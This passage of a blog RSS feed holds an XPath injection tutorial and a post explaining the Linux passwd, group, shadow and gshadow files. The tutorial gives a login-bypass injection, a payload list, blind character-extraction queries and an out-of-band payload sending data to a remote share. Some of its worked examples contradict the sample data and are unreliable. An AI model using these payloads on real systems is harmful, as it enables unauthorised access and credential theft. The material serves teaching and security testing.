version=”1.0&quot; encoding=”UTF-8&quot;?&gt;<br>&lt;data&gt;<br> &lt;user&gt;<br> &lt;login&gt;admin&lt;/login&gt;<br> &lt;password&gt;test&lt;/password&gt;<br> &lt;realname&gt;SuperUser&lt;/realname&gt;<br> &lt;/user&gt;<br> &lt;user&gt;<br> &lt;login&gt;Atharv&lt;/login&gt;<br> &lt;password&gt;12345&lt;/password&gt;<br> &lt;realname&gt;Simple User&lt;/realname&gt;<br> &lt;/user&gt;<br>&lt;/data&gt;</pre><p>Function:</p><ul><li>string.stringlength(//user\[position()=1\]/child::node()\[position()=2\]) returns the length of the second string of the first user (8),</li><li>substring((//user\[position()=1\]/child::node()\[position()=2),1,1) returns the first character of this user (‘r’).</li></ul><h4>XML Crawling</h4><p>To get to know the XML document structure the attacker may use:</p><ul><li>count(expression)</li></ul><pre>count(//user/child::node()</pre><p>This will return the number of nodes (in this case 2).</p><ul><li>string-length(string)</li></ul><pre>string-length(//user[position()=1]/child::node()[position()=2])=6 </pre><p>Using this query, the attacker will find out if the second string (password) of the first node (user ‘admin’) consists of 6 characters.</p><ul><li>substring(string, number, number)</li></ul><pre>substring((//user[position()=1]/child::node()[position()=2]),1,1)=&quot;a&quot;</pre><p>This query will confirm (True) or deny (False) that the first character of the user (‘admin’) password is an “a” character.</p><p>If the login form would look like this:</p><p>C#:</p><pre>String FindUser;<br>FindUser = &quot;//user[login/text()=&#39;&quot; + Request(&quot;Username&quot;) + &quot;&#39; And<br>            password/text()=&#39;&quot; + Request(&quot;Password&quot;) + &quot;&#39;]&quot;;</pre><p>then the attacker should inject the following code:</p><pre>Username: &#39; or substring((//user[position()=1]/child::node()[position()=2]),1,1)=&quot;a&quot; or &#39;&#39;=&#39;</pre><p>The XPath syntax may remind you of common <a href="https://owasp.org/www-community/attacks/SQL_Injection">SQL Injection</a> attacks but the attacker must consider that this language disallows commenting out the rest of the expression. To omit this limitation the attacker should use OR expressions to void all expressions, which may disrupt the attack.</p><p>Because of <em>Boolenization</em> the number of queries, even within a small XML document, may be extremely high (thousands, hundreds of thousands, and more). That is why this attack is not conducted manually. Knowing a few basic XPath functions, the attacker is able to write an application in a short time which will rebuild the structure of the document and will fill it with data by itself.</p><h4><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection">Payloads for XPath Injection</a></h4><p>Query:</p><pre>“string(//user[name/text()=’” +vuln_var1+ “‘ and password/text()=’” +vuln_var1+ “‘]/account/text())”</pre><p>Payloads:</p><pre>‘ or ‘1’=’1<br>‘ or ‘’=’<br>x’ or 1=1 or ‘x’=’y<br>/<br>//<br>//*<br>*/*<br>@*<br>count(/child::node())<br>x’ or name()=’username’ or ‘x’=’y<br>‘ and count(/*)=1 and ‘1’=’1<br>‘ and count(/@*)=1 and ‘1’=’1<br>‘ and count(/comment())=1 and ‘1’=’1<br>search=’)] | //user/*[contains(*,’<br>search=Har’) and contains(../password,’c<br>search=Har’) and starts-with(../password,’c</pre><p>Blind Exploitation:</p><ul><li>Size of a string</li></ul><pre>and string-length(account)=SIZE_INT</pre><ul><li>Extract a character</li></ul><pre>substring(//user[userid=5]/username,2,1)=CHAR_HERE<br>substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)</pre><p>Out Of Band Exploitation</p><pre><a href="http://example.com/?title=Foundation&amp;type=*&amp;rent_days=*">http://example.com/?title=Foundation&amp;type=*&amp;rent_days=*</a> and doc(‘//10.10.10.10/SHARE’)</pre><p>Tools for XPath Injection:</p><ul><li><a href="https://github.com/orf/xcat">xcat</a> — Automate XPath injection attacks to retrieve documents</li><li><a href="https://github.com/feakk/xxxpwn">xxxpwn</a> — Advanced XPath Injection Tool</li><li><a href="https://github.com/aayla-secura/xxxpwn_smart">xxxpwn_smart</a> — A fork of xxxpwn using predictive text</li><li><a href="https://github.com/micsoftvn/xpath-blind-explorer">xpath-blind-explorer</a></li><li><a href="https://github.com/Harshal35/XMLCHOR">XmlChor</a> — Xpath injection exploitation tool</li></ul><h3>References:</h3><ol><li><a href="https://owasp.org/www-community/attacks/XPATH_Injection"><strong>OWASP XPath Injection</strong></a></li><li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection"><strong>Payload All Things: XPath Payloads</strong></a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30193bf326ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Information about passwd , group , shadow and gshadow file.]]></title>
            <link>https://atharvvvsharma.medium.com/information-about-passwd-group-shadow-and-gshadow-file-f2aee1b38a4f?source=rss-5a67e040fd3f------2</link>
            <guid isPermaLink="false">https://medium.com/p/f2aee1b38a4f</guid>
            <dc:creator><![CDATA[Atharv Sharma]]></dc:creator>
            <pubDate>Wed, 23 Dec 2020 07:52:45 GMT</pubDate>
            <atom:updated>2020-12-23T07:57:33.531Z</atom:updated>
            <content:encoded><![CDATA[<h3>Information about passwd , group , shadow and gshadow file.</h3><p>Ever wondered where is the information of user is saved when we create a user in Linux.<br>Today we will take a look at 4 files which contains user information when a user is created.</p><p>All this files are located in etc folder.</p><p><strong>1. /etc/passwd</strong></p><p>As the name suggest it is located in the etc folder it contains different info about the user such as username,uid etc.</p><blockquote>$ cat /etc/passwd</blockquote><p>root:x:0:0:root:/root:/usr/bin/zsh<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin</p><p>root : x : 0 : 0 : root : /root : /usr/bin/zsh<br>(1): (2): (3): (4): (5): (6): (7)</p><p>(1) →Username or login name of user.<br>(2) →Password of user. x tells that the passwd is managed by the shadow file. <br>(3) →Userid [uid] of user.<br>(4) →Groupid [gid] of user.<br>(5) →Comment about the user or information about the user.<br>(6) →Home directory of the user.<br>(7) →Shell of the user.</p><p><strong>2. /etc/group</strong></p><p>This file contains information of group,gid,passwd,members of group.</p><blockquote>$ cat /etc/group</blockquote><p>root:x:0:<br>daemon:x:1:<br>bin:x:2:<br>sys:x:3:</p><p>root : x : 0 :<br>(1) :(2): (3): (4)</p><p>(1) →Group name.<br>(2) →Password of group.<br>(3) →Groupid [gid] of group.<br>(4) →Members of group.</p><p><strong>3. /etc/shadow</strong></p><p>This is the main file in aspects of user security because it contains information like password,expire time of account etc.</p><blockquote>$ cat /etc/shadow</blockquote><p>daemon:*:18616:0:99999:7:::<br>bin:*:18616:0:99999:7:::<br>sys:*:18616:0:99999:7:::<br>sync:*:18616:0:99999:7:::<br>games:*:18616:0:99999:7:::</p><p>daemon : * : 18616 : 0 : 99999 : 7 : : : <br>(1): (2): (3): (4): (5): (6): (7): (8): (9)</p><p>(1) →Username or login name of user.<br>(2) →Password of user.[* means passwd is not set and if there is !! then the account is disabled]<br>(3) →Last passwd changed date [calculated from 1 jan 1970]<br>(4) →Minimum age of passwd.<br>(5) →Maximum age of passwd.[calculated from 1 jan 1970]<br>(6) →Warning period of expiration of passwd [as mentioned it will notify us 7 days before the passwd change ]<br>(7) →Inactivity period of passwd.[calculated from 1 jan 1970]<br>(8) →Expiry of account.<br>(9) →unused field.</p><p>TYPES OF ENCRYPTION USED IN SHADOW FILE</p><p><strong><em>$1$ = MD5<br> $2A$ = BLOWFISH<br> $5$ = SHA 256<br> $6$ = SHA 512</em></strong></p><p><strong><em>ETC</em></strong></p><p><strong>4. /etc/gshadow</strong></p><p>This file contains the passwd of groups.</p><blockquote>$ cat /etc/gshadow</blockquote><p>fax:*::<br>voice:*::<br>cdrom:*::xyz<br>floppy:*::xyz<br>tape:*::</p><p>floppy : * : :xyz<br>(1): (2): (3): (4)</p><p>(1) →Name of group.<br>(2) →Password of group.[* means passwd is not set and if there is !! then the account is disabled]<br>(3) →List of group admin name.<br>(4) →Member list of group.</p><p>Encryption is similar to that in shadow file.</p><p>Default permissions to all this files are -rw-r — r — <br>We can change the values of the uid gid and other things which we will see further.</p><p>So, we learnt about the files that contains the main information about the user.By modifying this files we can change every field of them.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f2aee1b38a4f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>